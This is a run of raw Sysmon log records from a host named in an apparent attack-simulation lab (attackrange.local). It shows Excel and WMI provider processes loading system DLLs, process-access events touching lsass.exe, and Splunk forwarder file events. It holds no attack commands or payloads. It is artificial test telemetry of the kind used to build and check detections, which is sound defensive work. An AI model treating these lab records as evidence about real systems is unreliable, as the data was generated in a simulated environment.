14:58:03.774{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f86b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048770Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.774{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048769Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.774{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-65B0-613B-0A00-00000000F001}612C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+1a16d|C:\Windows\system32\lsasrv.dll+2704b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048768Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.774{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000048767Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.730{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\mlang.dll10.0.14393.4169 (rs1_release.210107-1130)Multi Language Support DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMLANG.DLLMD5=1DB944C25F1B1D7105543E61F1CC5E2F,SHA256=EBA81052B0330151F8FE0FC95AFD2203D3869D67A05AD4E5D3FA8A69B48B4046,IMPHASH=563B6F147961D943E0261E05EAD94B56trueMicrosoft WindowsValid 734700x800000000000000048766Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.714{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\wintrust.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft Trust Verification APIsMicrosoft® Windows® Operating SystemMicrosoft CorporationWINTRUST.DLLMD5=992BCD32EF7680C574A426FAA4933ACA,SHA256=5755AC46B4220784A6E6AC12A755CC10892A5AE59B67924576075A1A29D68B3D,IMPHASH=EC9695F0DF1F52E9D439A942DBDAA111trueMicrosoft WindowsValid 734700x800000000000000048765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.714{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cryptnet.dll10.0.14393.2035 (rs1_release_inmarket.180110-1910)Crypto Network Related APIMicrosoft® Windows® Operating SystemMicrosoft CorporationCRYPTNET.DLLMD5=C826D7EA2E1A6884120676A0A3CBC714,SHA256=B4EFCCA21ADC0FF2FD3505DD9F9F6D6F66CFF229FE21D97DFEF19F1D485769A0,IMPHASH=1277B5BCF0437BEA5158FFB1086840B6trueMicrosoft WindowsValid 734700x800000000000000048764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.698{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ncryptsslp.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft SChannel ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationncryptsslp.dllMD5=80D0046E61E3DBD708B53657DA4C5821,SHA256=7457E1BB911D132A8BEDEB6D7DEDB82365A6D681FBEF2331D4FB545AC1DA5A56,IMPHASH=239D379DAEC05CA48775D7DD3AA4BFCAtrueMicrosoft WindowsValid 734700x800000000000000048763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.698{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\mskeyprotect.dll10.0.14393.4046 (rs1_release.201028-1803)Microsoft Key Protection ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationmskeyprotect.dllMD5=87A5C9919D4A67629718959772E120DD,SHA256=707BD6ECE458848F7343C2CF3184A74D99C40E7F5E58E5DA608E4C88D03609E4,IMPHASH=D74AB287506D6E20949755E75302AD32trueMicrosoft WindowsValid 734700x800000000000000048762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.698{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000048761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.683{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\devobj.dll10.0.14393.0 (rs1_release.160715-1616)Device Information Set DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationdevinfoset.DLLMD5=72AD993A6E896EB50058A73D045F3284,SHA256=CFF524F52D5F91788F34A47076E0CA36132890981079B27F559279B3F6FC3B11,IMPHASH=DFDCA72C641F8587ADF49CA0ED1D5817trueMicrosoft WindowsValid 734700x800000000000000048760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\xmllite.dll10.0.14393.3143 (rs1_release.190725-1725)Microsoft XmlLite LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationXmlLite.dllMD5=64E301CCFADF34810ADA8DE9DBC7720F,SHA256=6EAE1E0E610793C7DF2B27795553F377D2C4126CF74D8EE4A84DE3C3150871F8,IMPHASH=B53F82B33CA6ABD6251152A46E5FF78CtrueMicrosoft WindowsValid 734700x800000000000000048759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.683{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wmiclnt.dll10.0.14393.0 (rs1_release.160715-1616)WMI Client APIMicrosoft® Windows® Operating SystemMicrosoft Corporationwmiclnt.dllMD5=6B61852EDC8F0EB9E555CF5308A1CA67,SHA256=73CBABE06D58CF771AC647C0DE916BD668FEC96A40EDF7283D50C1C7DE07FE08,IMPHASH=9178CB7144790F36275451518A7203D6trueMicrosoft WindowsValid 734700x800000000000000048758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.683{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wmi.dll10.0.14393.0 (rs1_release.160715-1616)WMI DC and DP functionalityMicrosoft® Windows® Operating SystemMicrosoft Corporationwmi.DLLMD5=BECC01CF48016043B5DC3D5477CC08CF,SHA256=449E882DBCD4DD25B8F10CD62623DCB15E5B6375B0699463506EA55886B7B9DA,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000048757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.683{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\schannel.dll10.0.14393.4225 (rs1_release.210127-1811)TLS / SSL Security ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationschannel.dllMD5=2562B81E255EB6DF8497402ABC6C59BB,SHA256=340532C238CA5B84BA9D7A2DB4D1CCD58D869FECC44A463A93F54C974E1B41F4,IMPHASH=D9603397C5B04530FFA0321E70FF2308trueMicrosoft WindowsValid 10341000x800000000000000048756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.683{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\system32\wbem\wmiprvse.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.683{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.618{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\Windows.UI.dll10.0.14393.4169 (rs1_release.210107-1130)Windows Runtime UI Foundation DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.UI.dllMD5=FEC31833E8D13591BAECE59B8E39F53C,SHA256=424BAEA0DC8EF34305A881F9B36F22E8CFECA403A0D03B61782D69535387A401,IMPHASH=B073DE28C43175420FE754415439CCEAtrueMicrosoft WindowsValid 734700x800000000000000048753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.668{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000048752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.668{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\framedynos.dll10.0.14393.4169 (rs1_release.210107-1130)WMI SDK Provider FrameworkMicrosoft® Windows® Operating SystemMicrosoft Corporationframedyn.dllMD5=F5BCBB0713FF862975B07056D25E166E,SHA256=DBB3B6E35E0FEF5B878DE8C85AF578B51C1C2DB025865354E27394AEA87824B2,IMPHASH=AB84E6F170EE70C2F0F5C709A85E872CtrueMicrosoft WindowsValid 734700x800000000000000048751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.668{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000048750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.668{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\cimwin32.dll10.0.14393.3297 (rs1_release_1.191001-1045)WMI Win32 ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationcimwin32.dllMD5=35C291C2351E11C928195BFD018A972C,SHA256=CC1655A2CD71118C0197A1A96D47E86C74F58AA6D589B55F77D8C1C12C542BA7,IMPHASH=5CFF0D3EC414472191BC623FB107BCF1trueMicrosoft WindowsValid 734700x800000000000000048749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.668{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\FWPUCLNT.DLL10.0.14393.0 (rs1_release.160715-1616)FWP/IPsec User-Mode APIMicrosoft® Windows® Operating SystemMicrosoft Corporationfwpuclnt.dllMD5=A65FA613342B08E0F760D8B13B9C135A,SHA256=C64A1EC862188D2EE1202DB02BFBF4E2DD56780905E509012799EB57FC9A88ED,IMPHASH=6097EA32A6AE2378711DDF884725A2AFtrueMicrosoft WindowsValid 23542300x800000000000000048748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.668{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B9A2B350C696BE36BE171D32BDB7F478,SHA256=A15D833D3F95D09323B71108E64E600784B2E02937C29848313F7BB03419E72C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.668{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wmiutils.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwmiutils.dllMD5=5179B0DEF3AB5CAC3BA02316AF1B6B40,SHA256=FA4112CB0D1A133C41FD001F958F0BE930BB49072BF97A3D765AEA8DB841ABC4,IMPHASH=EE3767E8CDC80CCB91A8FC0A7407A4A9trueMicrosoft WindowsValid 734700x800000000000000048746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.555{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 10341000x800000000000000048745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.649{7BD73061-65B2-613B-1600-00000000F001}12966632C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\system32\wbem\wmiprvse.exe0x101541C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\wbem\wmiprvsd.dll+20fee|C:\Windows\system32\wbem\wmiprvsd.dll+43f7|C:\Windows\system32\wbem\wmiprvsd.dll+15538|C:\Windows\system32\wbem\wmiprvsd.dll+1498a|C:\Windows\system32\wbem\wmiprvsd.dll+146e6|C:\Windows\system32\wbem\wmiprvsd.dll+140fe|C:\Windows\system32\wbem\wbemcore.dll+b920|C:\Windows\system32\wbem\wbemcore.dll+255ff|C:\Windows\system32\wbem\wbemcore.dll+24a9a|C:\Windows\system32\wbem\wbemcore.dll+2485e|C:\Windows\system32\wbem\wbemcore.dll+2685b|C:\Windows\system32\wbem\wbemcore.dll+22b78|C:\Windows\system32\wbem\wbemcore.dll+22a19|C:\Windows\system32\wbem\wbemcore.dll+21f5a|C:\Windows\system32\wbem\wbemcore.dll+22711|C:\Windows\system32\wbem\wbemcore.dll+2d78c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.649{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\rasadhlp.dll10.0.14393.0 (rs1_release.160715-1616)Remote Access AutoDial HelperMicrosoft® Windows® Operating SystemMicrosoft Corporationrasadhlp.dllMD5=FAE8D0480BDD905EEA453D3A57C8D5C6,SHA256=C1531223B8201B344A6A6474CB2D9B8A8C632250A3A6F472EC5E2D7D28ADD94C,IMPHASH=98E0DBCEA076EF80E7DE241072E34656trueMicrosoft WindowsValid 734700x800000000000000048743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.649{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wbemsvc.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemsvc.dllMD5=2BE97028B7B85762561F475E31989C2A,SHA256=75C9D8C6D41B4B7D70666A8107A08A748CEF6CB9E60AD0288B10CDE12E274AFF,IMPHASH=200200BEAF933FA4627BF83C67BA473EtrueMicrosoft WindowsValid 734700x800000000000000048742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.555{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\iertutil.dll11.00.14393.4467 (rs1_release.210604-1844)Run time utility for Internet ExplorerInternet ExplorerMicrosoft CorporationIeRtUtil.dllMD5=1D608361848C3A3AC56488995E8D0BB1,SHA256=D95DE5DBAD08E22CB0CFB9322220E752F16124C15867F7748E4D64795E400EBF,IMPHASH=BB80FB0B79AB68B9AA174726B09C8CE9trueMicrosoft WindowsValid 734700x800000000000000048741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000048740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 23542300x800000000000000048739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=F2B1182176F7FE7ABE68E1E864638581,SHA256=BA09DD2AD3DC77D72B495DBE9600404B14C7BFB45CA6E051EF255CCCE050E0FF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\wbem\wbemprox.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemprox.dllMD5=B7B56FAC395BEEDC20120FD0170A23A3,SHA256=7BDF579D7348D84F251A8411E40E14ADF9406F954914C1C4DE30E880DCF6CEB3,IMPHASH=96416B54C1F2E15EF294753DF1CB4131trueMicrosoft WindowsValid 734700x800000000000000048737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 10341000x800000000000000048736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\system32\wbem\wmiprvse.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000048735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AA631D6287F46E998DF47212A3C56906,SHA256=F1AFDF019EFF59E22B0E5ED6A1D715A16D5CBC63414C85351CF20AF8DB59D955,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048734Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000048733Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\sppc.dll10.0.14393.67 (rs1_release.160804-2231)Software Licensing Client DllMicrosoft® Windows® Operating SystemMicrosoft Corporationsppc.dllMD5=7CF84329545035CC0833119C7268A620,SHA256=49E3FA8B9F9ACB1A2CEDE37970361316C93286CEE7F70DE5985E7135498A4210,IMPHASH=BC4A2B9355432144727A5322381AB386trueMicrosoft WindowsValid 734700x800000000000000048732Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.634{7BD73061-727B-613B-4B0B-00000000F001}4536C:\Windows\System32\wbem\WmiPrvSE.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000048731Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 